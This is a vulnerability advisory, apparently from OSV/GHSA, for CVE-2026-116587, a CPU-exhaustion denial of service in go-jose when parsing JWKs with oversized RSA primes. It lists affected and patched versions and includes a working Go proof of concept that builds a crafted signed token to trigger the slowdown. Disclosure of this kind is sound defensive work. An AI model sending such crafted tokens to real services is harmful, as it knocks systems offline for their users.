---
id: CVE-2026-116587
aliases:
  - GHSA-mgcc-cww5-fp2q
title: 'Go JOSE: DoS when parsing JWKs that contain RSA keys'
summary: 'Go JOSE: DoS when parsing JWKs that contain RSA keys'
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: go-jose
product: github.com/go-jose/go-jose/v4
ecosystem: go
affected:
  - github.com/go-jose/go-jose/v4 < 4.1.6
  - github.com/go-jose/go-jose/v3 <= 3.0.5
patched:
  - github.com/go-jose/go-jose/v4 4.1.6
published: '2026-10-27'
updated: '2026-10-27'
sourceUpdated: '2026-10-27T19:15:23.147827328Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-mgcc-cww5-fp2q'
references:
  - url: 'https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-116587'
  - url: >-
      https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
  - url: 'https://github.com/go-jose/go-jose'
  - url: 'https://github.com/go-jose/go-jose/releases/tag/v4.1.6'
  - url: 'https://github.com/advisories/GHSA-mgcc-cww5-fp2q'
tags:
  - osv
  - go
  - ghsa
  - cve.org
epss: 0.00366
epssPercentile: 0.30633
ssvc:
  exploitation: none
  automatable: 'yes'
  technicalImpact: partial
  timestamp: '2026-10-27T13:45:58.881401Z'
cwe:
  - CWE-407
  - CWE-770
ingestedAt: '2026-10-27T16:11:59.456Z'
---

## Overview

### Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

### Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

### Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

```go
package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}
```

### Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

### Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

## Affected packages

- `github.com/go-jose/go-jose/v4 < 4.1.6`
- `github.com/go-jose/go-jose/v3 <= 3.0.5`

## Remediation

Upgrade to a patched release:

- `github.com/go-jose/go-jose/v4 4.1.6`
